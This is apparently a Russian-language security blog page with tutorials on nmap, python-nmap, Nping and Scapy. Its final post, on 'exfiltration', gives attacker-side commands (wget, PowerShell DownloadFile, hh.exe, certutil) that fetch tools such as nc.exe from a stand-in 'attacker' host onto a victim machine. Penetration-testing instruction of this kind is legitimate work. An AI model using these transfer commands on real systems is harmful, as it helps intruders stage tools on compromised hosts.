Showing posts with label nmap. Show all posts
Showing posts with label nmap. Show all posts

Sunday, 18 December 2022

NMAP и Python.

Всем привет.

Популярный NMAP также может вызываться и выполняться из разных языков  программирования, что делает его еще более мощным. Добавим ему Python - интерпретируемый язык программирования высокого уровня для программирования общего назначения. Python действительно удобный и чрезвычайно гибкий. Сам Python устанавливается по умолчанию в большинстве систем на основе Unix. Однако вам необходимо установить библиотеку NMAP отдельно. В системах на основе Debian вы можете просто использовать команду:

>pip install python-nmap

Теперь, когда вы установили требуемую библиотеку NMAP, запустите интерпретатор Python из терминала, введя команду python, и импортируйте библиотеку NMAP, как показано здесь:

kali@kali:~# python3

Python 3.9.7 (default, Sep 24 2021, 15:17:02)

[GCC 10.3.0] on linux

Type "help", "copyright", "credits" or "license" for more

information.

>>> import nmap

>>>

Теперь вы можете создать новый объект с именем nmp для вызова функции PortScanner. Затем запустите новое сканирование для целевого IP-адреса 127.0.0.1 и портов от 1 до 50, как показано ниже:

>nmp = nmap.PortScanner()

>nmp.scan('127.0.0.1', '1-50')

Сканирование завершается и дает следующий вывод:

{'nmap': {'scanstats': {'uphosts': '1', 'timestr': 'Fri Sep 20 13:12:09 2022', 'downhosts': '0', 'totalhosts': '1',

'elapsed': '1.06'}, 'scaninfo': {'tcp': {'services': '1-50', 'method': 'syn'}}, 'command_line': 'nmap -oX - -p 1-50 -sV 127.0.0.1'}, 'scan': {'127.0.0.1': {'status': {'state': 'up', 'reason': 'localhost-response'}, 'hostnames': [{'type': 'PTR', 'name': 'localhost'}], 'vendor': {}, 'addresses': {'ipv4': '127.0.0.1'}, 'tcp': {22: {'product': 'OpenSSH', 'state': 'open', 'version': '7.7p1 Debian 4', 'name': 'ssh', 'conf': '10', 'extrainfo': 'protocol 2.0', 'reason': 'syn-ack', 'cpe': 'cpe:/o:linux:linux_kernel'}}}}}


Хотя предыдущий вывод является необработанным, он, безусловно, может быть отформатирован с использованием многих функций Python. После того, как вы запустили начальное сканирование, вы можете исследовать различные функции python-nmap для получения определенных деталей сканирования.

Friday, 16 December 2022

NMAP как сканер уязвимостей.


Всем привет.

До сих пор вы знали возможности NMAP по сканированию и перечислению портов. Теперь вы увидите, как NMAP можно использовать для оценки уязвимости. Несмотря на то, что NMAP не такой всеобъемлющий, как сканеры уязвимостей, такие как Nessus и OpenVAS, он, безусловно, может обнаруживать основные уязвимости. NMAP делает это с помощью идентификаторов Common Vulnerabilities and Exposure (CVE). Он ищет подходящие CVE для служб, работающих на цели. Чтобы превратить NMAP в сканер уязвимостей, сначала необходимо загрузить и установить несколько дополнительных сценариев. 

Сначала вы переходите в каталог /usr/share/nmap/scripts, а затем клонируете две директории git:

cd /usr/share/nmap/scripts

git clone https://github.com/vulnersCom/nmap-vulners.git

git clone https://github.com/scipag/vulscan scipag_vulscan

ln -s pwd/scipag_vulscan /usr/share/nmap/scripts/vulscan

После можно скопировать vulscan.nse в /usr/share/nmap/scripts:

cp vulscan.nse /usr/share/nmap/scripts

После того, как вы загрузили необходимые сценарии, у вас все готово для их выполнения в отношении цели. Вы можете использовать команду: 

nmap -sV --script=vulscan.nse 192.168.1.3

для проведения первого сканирования.

На этом все.

Wednesday, 15 June 2022

Nping для анализа сетевых пакетов.

Всем привет.

Сегодня у нас третья часть из серии "Анализ сетевых пакетов", переходим к Nping. Хотя Nping и является частью пакета nmap и даже устанавливается в систему по умолчанию, тем не менее она стоит того чтобы уделить ей внимание отдельно.

Nping is an open source tool for network packet generation & response analysis and response time measurement. Nping can generate network packets for a wide range of protocols, allowing users full control over protocol headers. 

Syntax:

nping [Probe mode] [Options] {target specification}

Example:

nping blabla.com.tr

Starting Nping 0.6.01 ( http://nmap.org/nping ) at 2012-06-20 20:27 CEST

SENT (0.1879s) ICMP 192.168.60.129 > 199.83.132.66 Echo request (type=8/code=0) ttl=64 id=53514 iplen=28 

SENT (1.1890s) ICMP 192.168.60.129 > 199.83.132.66 Echo request (type=8/code=0) ttl=64 id=53514 iplen=28 

SENT (2.1901s) ICMP 192.168.60.129 > 199.83.132.66 Echo request (type=8/code=0) ttl=64 id=53514 iplen=28 


Nping Modes/TCP Probe Modes:



Monday, 13 June 2022

Nmap scanning and discovering.

Всем привет.

Сегодня у нас вторая часть из серии "Анализ сетевых пакетов" и сегодня оперируем Nmap.

Nmap (network mapper) is an open source tool for network traffic analysis and security auditing. 

It uses raw network packets to determine:

  • what hosts are available on networks,
  • what services (application name and versions),
  • what operating systems and OS versions they are running,
  • what type of packet filters/firewalls are in use,

 and many more...


Single Target Scanning:

## Scan a single ip address ###

nmap 192.168.1.1


## Scan a host name ###

nmap www.google.com


## Scan a host name with more info###

nmap –v myhost.ieu.edu.tr


Multiple Target Scanning:

nmap 192.168.1.1 192.168.1.2 192.168.1.3

nmap 192.168.1.1,2,3

Sunday, 12 June 2022

Scapy packet manipulation.

Всем привет.

Этим я открываю небольшую серию по итогам презентации на тему "Анализ сетевых пакетов" от автора "CE 340/S. Kondakci, IEU, Computer Engineering". По ходу будет масса примеров анализа с помощью таких инструментов как Scapy, Nmap, Nping и tcpdump. Устраивайтесь поудобнее и начнем. А начнем мы со Scapy.

Scapy packet manipulation agenda:

  • Creating a packet
  • Send/Receiving packets
  • Basic Scapy commands
  • Capturing packets and reading packet capture files into Scapy
  • Layering packets

Four steps before:

1. Install Python 3.5+

2. Download and install Scapy

3. Install additional software for special features (optional)

4. Run Scapy with root privileges.


Example: Hello World

send(IP(dst= 127.0.0.1 )/ICMP()/ HelloWorld )

  • send - this tells Scapy that you want to send a packet (just a single packet)
  • IP - the protocol of the packet you want to create
  • (dst= 127.0.0.1 ) - the destination IP to send the packet to 
  • /ICMP() - Create an ICMP packet with the default values provided by Scapy
  • / HelloWorld  - the payload to include in the ICMP packet


Wireshark capture:

Scapy command: send(IP(dst= 127.0.0.1 )/ICMP()/ HelloWorld )

Wireshark output: 

Internet Protocol Version 4, Src: 127.0.0.12 (127.0.0.12), Dst: 127.0.0.1 (127.0.0.1)

Protocol: ICMP

Data: 48656c6c6f576f726c64 or  HelloWorld 


Example: fabricate an ICMP Packet

send(IP(src= 127.0.0.1 , dst= 127.0.0.1 , ttl=128)/ICMP()/ HelloWorld )

Wireshark:

Internet Protocol Version 4, Src: 127.0.0.1 (127.0.0.1), Dst: 127.0.0.1 (127.0.0.1) Time to live: 128


What does this ICMP packet mean?

Internet Protocol Version 4, Src: 127.0.0.1 (127.0.0.1), Dst: 127.0.0.1 (127.0.0.1) Internet Control Message Protocol

Type: 0 (Echo (ping) reply)

Sunday, 6 December 2020

Эксфильтрация файлов.

Всем привет.

Первая задача, с которой хакер сталкивается на этапе построения атаки - это передача файлов. 

Нужно залить на удаленный хост эксплоит, скачать нужный файл, дамп памяти, поднять прокси-сервер, прочее. Такая специфика передачи файлов обусловлена необходимостью выполнить ее исключительно базовыми средствами ОС. Такую операцию называют эксфильтрацией. И тут есть несколько вариантов. 

Первый самый простой вариант передачи файлов под Linux. Для быстрого старта веб-сервера в текущей папке используем встроенный модуль Python2:

attacker> python -m SimpleHTTPServer 8080

Для Рython3: 

attacker>python3 -m http.server 8080

Передаем наш файл:

victim$> wget http://attacker/nmap.exe -O /tmp/nmap.exe

Если на удаленном хосте установлена Windows 7-10, лучше использовать PowerShell:

victim$> powershell -c (new-object System.Net.WebClient).DownloadFile ('http://attacker/nmap.exe' 'C:\Users\victim\desktop\nmap.exe')

Часто HTTP - единственное окно в мир из DMZ, и в Windows тоже приходится им пользоваться, причем разными способами. Наиболее универсальный, но не самый красивый метод выглядит так:

victim$> hh.exe http://attacker/nmap.exe.txt

victim$> cd \users\victim\appdata\local\microsoft\windows\

victim$> dir /s nmap.exe

victim$> cd путь_до_папки

victim$> move nmap.exe[1].txt nmap.exe

Передать файлы в виде простого текста возможно почти всегда. Этот способ подразумевает отправку файла любого содержимого, но с расширением .txt. Можно использовать очень полезную утилиту certutil, которая предназначена для различных криптографических операций. У нее куча опций, ее можно сравнить со швейцарским ножом. Вот как она используется для передачи файла - лезвие №1:

victim$> certutil -urlcache -split -f http://attacker/nc.exe.txt nc.exe.txt

Или так:

victim$>certutil -VerifyCTL -f -split http://attacker/nc.exe.txt

Версія на друк

Популярне